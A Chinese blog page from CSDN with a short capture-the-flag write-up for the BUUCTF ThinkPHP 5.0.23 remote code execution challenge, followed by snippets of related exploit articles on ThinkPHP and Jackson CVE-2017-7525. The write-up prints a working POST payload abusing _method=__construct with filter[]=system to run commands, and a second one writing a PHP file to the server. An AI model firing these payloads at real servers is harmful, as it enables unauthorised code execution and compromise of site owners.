buuctf [ThinkPHP]5.0.23-Rce

最新推荐文章于 2024-05-03 11:33:53 发布
最新推荐文章于 2024-05-03 11:33:53 发布
阅读量1.1k 收藏 3
点赞数
分类专栏： buuctf real 文章标签： 安全漏洞
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_36241198/article/details/114807550
版权

在这里插入图片描述
poc

POST /index.php?s=captcha HTTP/1.1
Host: yuorip
Accept-Encoding: gzip, deflate
Accept: / Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=whoami

在这里插入图片描述
根据之前两题经验，flag必定在phpinfo里面
我们直接将<? phpinfo(); ?> 写入test.php 就行

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo “<? phpinfo(); ?>” > test.php

在这里插入图片描述

这里漏洞技术细节（涉及代码段、原理等）我上个链接
https://blog.csdn.net/nicesa/article/details/106247668

exploitsec
关注
  • 0
    点赞
  • 踩
  • 3
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
专栏目录
jackson-cve-2017-7525
haha1314的博客
08-07 550
jackson-cve-2017-7525 加上接受的内容格式会报错 在tmp目录下面创建一个prove1.txt文件，创建文件的命令是加密的，怎么加密的我也不知道。 POC { "param": [ "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", { "transletBytecodes": [ "yv66vgAAADMAKAoABAAUCQADABUHABYHABcBAAVwYXJhbQE
Jackson-databind 反序列化漏洞（CVE-2017-7525）
锋刃科技的博客
06-17 3680
漏洞原理 Jackson-databind 支持 Polymorphic Deserialization 特性（默认情况下不开启），当 json 字符串转换的 Target class 中有 polymorph fields，即字段类型为接口、抽象类或 Object 类型时，攻击者可以通过在 json 字符串中指定变量的具体类型 (子类或接口实现类)，来实现实例化指定的类，借助某些特殊的 class，如 TemplatesImpl，可以实现任意代码执行。 所以，本漏洞利用条件如下： 开启 Jackso
漏洞检测CVE-2017-7525---poc
01-20
漏洞检测CVE-2017-7525---poc
buuctf-Real-[ThinkPHP]5.0.23-Rce
weixin_46079186的博客
05-09 625
题目地址 和前两题一样，去找poc 找到poc ，使用查看一下效果有回显。 根据前两题经验，flag肯定在phpinfo 里面 ，所以直接修改一下，拿到flag
ThinkPHP--5.0.23-rce远程代码执行
最新发布
m0_74402888的博客
05-03 486
实现框架的核心类Requests的method方法实现表单请求类伪装，默认为$_POST[‘_method’]变量，却没有对_method属性进行严格校验，可以通过变量覆盖Requests类的属性，在结合框架特性实现对任意函数的调用实现任意代码执行。攻击者可向缓存文件内写入PHP代码，导致远程代码执行。
BUUCTF-Real-ThinkPHP]5.0.23-Rce
分享
02-02 673
[ThinkPHP]5.0.23版本，RCE远程代码执行漏洞！
ThinkPHP 5.0.0_5.0.23 RCE 漏洞分析1
08-03
ThinkPHP 5.0.0_5.0.23 RCE 漏洞分析 ThinkPHP 是一个流行的 PHP 框架，它提供了许多实用的功能来帮助开发者快速构建 Web 应用程序。然而，在 ThinkPHP 5.0.0 到 5.0.23 版本中存在一个 Remote Code Execution（RCE...
ThinkPHP v5.0.23 核心版
10-05
ThinkPHP是一个开源的，快速、简单的面向对象的轻量级PHP开发框架，遵循Apache2开源协议发布，是为了敏捷WEB应用 开发和简化企业级应用开发而诞生的。拥有众多的优秀功能和特性，
thinkphp 远程代码执行漏洞poc
12-11
漏洞影响范围：v5.x ，<= 5.0.23 可以利用poc直接检测目标网站是否存在漏洞
漏洞通告ThinkPHP远程代码执行漏洞
05-05
【漏洞通告】ThinkPHP远程代码执行漏洞
thinkphp5-master源码
04-21
thinkphp5-master源码
Jackson CVE-2017-7525 反序列化漏洞
王嘟嘟的博客
03-01 782
Jackson 相对应fastjson来说利用方面要求更加苛刻，默认情况下无法进行利用。
Jackson-databind 反序列化漏洞复现（CVE-2017-7525）
whojoe的博客
05-26 3220
Jackson-databind 反序列化漏洞复现（CVE-2017-7525）环境搭建启动docker下载环境生成docker环境漏洞检测区分 Fastjson 和 Jackson漏洞复现小结参考文章 环境搭建 启动docker systemctl start docker 下载环境 git clone https://github.com/vulhub/vulhub.git 也可以使用码云上个人维护的镜像 git clone https://gitee.com/fahawifi/vulhub.git
BUUCTF-Real-[ThinkPHP]IN SQL INJECTION
分享
02-05 1615
ThinkPHP5 SQL注入漏洞！
jackson CVE-2017-7525 漏洞复现
Shanfenglan's blog
11-29 1610
CVE-2017-7525 Jackson-databind 反序列化漏洞 原理 Jackson-databind 在设置 Target class 成员变量参数值时，若没有对应的 getter 方法，则会使用 SetterlessProperty 调用 getter 方法，获取变量，然后设置变量值。当调用 getOutputProperties() 方法时，会初始化 transletBytecodes 包含字节码的类，导致命令执行，具体可参考 java-deserialization-jdk7u21-ga
利用Vulnhub复现漏洞 - Jackson-databind 反序列化漏洞（CVE-2017-7525）
JiangBuLiu的博客
07-10 8260
Jackson-databind 反序列化漏洞（CVE-2017-7525）Vulnhub官方复现教程漏洞原理复现过程启动环境漏洞复现端口设置浏览器设置BurpSuit设置CVE-2017-7525CVE-2017-17485 Vulnhub官方复现教程 https://vulhub.org/#/environments/jackson/CVE-2017-7525/ 漏洞原理 Jackson-da...
Jackson-databind 反序列化漏洞（CVE-2017-7525）复现
HEAVEN569的博客
03-12 1846
1.漏洞出现的原因 Jackson-databind 支持 Polymorphic Deserialization 特性（默认情况下不开启），当json字符串转换的Target class中有polymorph fields，即字段类型为接口、抽象或Object类型时，攻击者可以通过在json字符串中指定变量的具体类型（子类或者接口实现类，）来实现实例化指定的类，借助某些特殊的class，如TemplatesImpl，可以实现任意代码执行。 所以本漏洞利用条件如下 1.开启JacksonPo..
[ThinkPHP]5.0.23-Rce 漏洞复现
satasun的博客
12-07 3904
[ThinkPHP]5.0.23-Rce 环境搭建 github传送门 BUU传送门 POC 老懒狗选择直接buu，链接 http://node3.buuoj.cn:27512/ 直接用poc打一下： POST /index.php?s=captcha HTTP/1.1 Host: node3.buuoj.cn:27512 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en User-Agent: Mozilla/5.0 (com
Jackson-databind 反序列化漏洞（CVE-2017-7525&CVE-2017-17485）
EC_Carrot的博客
07-03 743
漏洞详细 具体详细请移步：https://vulhub.org/#/environments/jackson/CVE-2017-7525/ 因为本人实在不懂这方面，只能先复现，然后慢慢磨了。 漏洞复现 CVE-2017-7525 发送以下数据包，即可执行touch /tmp/prove1.txt命令 POST /exploit HTTP/1.1 Host: your-ip:8080 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en
thinkphp2-rce
07-28
ThinkPHP 2.x版本中存在远程代码执行（RCE）漏洞。该漏洞可以通过构造恶意的请求来执行任意的PHP代码。具体来说，漏洞出现在ThinkPHP框架中的路由处理函数中，使用了不安全的preg_replace函数，并且使用了/e模式进行正则表达式匹配。攻击者可以通过在请求中注入恶意的代码来执行任意的PHP代码。这个漏洞在ThinkPHP框架的Dispatcher类中的102行被触发。\[2\]\[3\] 为了修复这个漏洞，建议升级到最新版本的ThinkPHP框架，或者手动修复代码中的漏洞。具体修复方法包括使用更安全的正则表达式替代preg_replace函数，并且避免使用/e模式进行正则表达式匹配。此外，还应该对用户输入进行严格的过滤和验证，以防止恶意代码的注入。 #### 引用[.reference_title] - *1* [【漏洞复现】[ThinkPHP]2-Rce](https://blog.csdn.net/Mr_atopos/article/details/124907676)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] - *2* *3* [ThinkPHP2-RCE漏洞复现](https://blog.csdn.net/qq_51459600/article/details/125179451)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v91^koosearch_v1,239^v3^insert_chatgpt"}} ] [.reference_item] [ .reference_list ]

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值